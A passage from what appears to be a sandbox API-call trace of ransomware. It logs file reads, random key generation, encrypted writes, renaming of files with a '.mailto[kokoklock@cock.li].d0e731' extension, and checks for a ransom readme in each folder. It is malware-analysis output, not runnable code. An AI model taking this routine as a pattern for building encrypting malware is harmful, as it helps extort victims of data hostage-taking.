"c:\\588bce7c90097ed212\\1036\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.837] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.837] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0166.837] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" [0166.837] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\d0e731-readme.txt")) returned 0x20 [0166.837] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.837] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d560) returned 1 [0166.837] RtlExitUserThread (Status=0x1) Thread: id = 1636 os_tid = 0xcc4 [0166.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.839] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.840] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa1ef784 | out: lpFileSize=0xa1ef784*=3894) returned 1 [0166.840] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xf32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.840] ReadFile (in: hFile=0x528, lpBuffer=0xa1ef758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0xa1ef758*, lpNumberOfBytesRead=0xa1ef754*=0x4, lpOverlapped=0x0) returned 1 [0166.841] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4758 [0166.841] NtQuerySystemTime (in: CurrentTime=0xa1ef730 | out: CurrentTime=0xa1ef730*=132121213241573176) returned 0x0 [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x195cf717 [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x1ce1bd3d [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xc9c0e8a7 [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xeb04f14b [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x27ddb81f [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x4c9ca97f [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xb0ef184f [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x6c766671 [0166.841] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xb7dccbb7 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x96578607 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x66f5ae0c [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xce5c61d4 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xbe7be8f7 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x8271f808 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x539adeb0 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xcb0a2e29 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xa8f75abd [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x646b173e [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x9fed203b [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x451843d9 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xff73bc74 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x86a5a31d [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xe1c72974 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x624e9b4f [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x6c989776 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x8905d2dc [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x95f62e47 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x180e8e7e [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xa5ae8001 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x2b613506 [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0x75b29a3b [0166.842] RtlRandom (in: Seed=0xa1ef73c | out: Seed=0xa1ef73c) returned 0xbc77ff98 [0166.851] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.854] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.854] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.854] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.855] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0xa1ef730, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa1ef730*=0xf36, lpOverlapped=0x0) returned 1 [0166.855] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa1ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0166.855] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xf36, lpNumberOfBytesWritten=0xa1ef72c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa1ef72c*=0xf36, lpOverlapped=0x0) returned 1 [0166.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.855] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa1ef728, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa1ef728*=0x20, lpOverlapped=0x0) returned 1 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.855] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0x2fe47a8*, lpNumberOfBytesWritten=0xa1ef754*=0x8, lpOverlapped=0x0) returned 1 [0166.855] WriteFile (in: hFile=0x528, lpBuffer=0xa1ef76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0xa1ef76c*, lpNumberOfBytesWritten=0xa1ef754*=0x4, lpOverlapped=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa1ef754*=0x4, lpOverlapped=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa1ef754*=0x6c, lpOverlapped=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa1ef754*=0x20, lpOverlapped=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1ef754, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa1ef754*=0x4, lpOverlapped=0x0) returned 1 [0166.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4780) returned 1 [0166.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.856] CloseHandle (hObject=0x528) returned 1 [0166.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.856] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.856] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.856] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.857] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.857] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.857] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.857] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.857] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0166.858] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" [0166.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\d0e731-readme.txt")) returned 0x20 [0166.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0166.858] RtlExitUserThread (Status=0x1) Thread: id = 1637 os_tid = 0x370 [0166.860] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.860] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.861] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.861] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa26f93c | out: lpFileSize=0xa26f93c*=77214) returned 1 [0166.861] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x12d9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.861] ReadFile (in: hFile=0x528, lpBuffer=0xa26f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0xa26f910*, lpNumberOfBytesRead=0xa26f90c*=0x4, lpOverlapped=0x0) returned 1 [0166.862] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.862] NtQuerySystemTime (in: CurrentTime=0xa26f8e8 | out: CurrentTime=0xa26f8e8*=132121213241729463) returned 0x0 [0166.862] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xa3b095fa [0166.862] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x1fccb899 [0166.862] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x486f2c82 [0166.862] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x58f182c [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x55cbf71d [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xa679759d [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xea36a0d8 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xa231f7c7 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xe2188591 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x41e20d81 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xb1e5908c [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x161c6e11 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x12deda56 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x1e687b3a [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x8dba4884 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x28fc47f0 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x2fea3e7 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x42537b56 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xc457c43d [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xc2dee3fb [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x57a3bc02 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xc4d37869 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x13ff097a [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xb186ee4d [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x508015a0 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xf9dd34c5 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xf3f35bdb [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x50c4ffc5 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x4687aaf7 [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xe45a21cd [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0xd8b8d55f [0166.863] RtlRandom (in: Seed=0xa26f8f4 | out: Seed=0xa26f8f4) returned 0x8f51cd69 [0166.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47f8 [0166.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.874] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.874] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa26f8c0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa26f8c0*=0x4096, lpOverlapped=0x0) returned 1 [0166.875] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.875] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.875] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.875] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.875] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.875] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa26f8c0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa26f8c0*=0x4096, lpOverlapped=0x0) returned 1 [0166.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.876] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x12d9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa26f8f8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa26f8f8*=0x20, lpOverlapped=0x0) returned 1 [0166.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0x2fe47f8*, lpNumberOfBytesWritten=0xa26f90c*=0x8, lpOverlapped=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0xa26f924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0xa26f924*, lpNumberOfBytesWritten=0xa26f90c*=0x4, lpOverlapped=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa26f90c*=0x4, lpOverlapped=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa26f90c*=0x6c, lpOverlapped=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa26f90c*=0x20, lpOverlapped=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa26f90c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa26f90c*=0x4, lpOverlapped=0x0) returned 1 [0166.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47f8) returned 1 [0166.877] CloseHandle (hObject=0x528) returned 1 [0166.877] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.877] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.877] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.877] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.878] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.878] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.878] wcscpy (in: _Dest=0x2f87bc8, 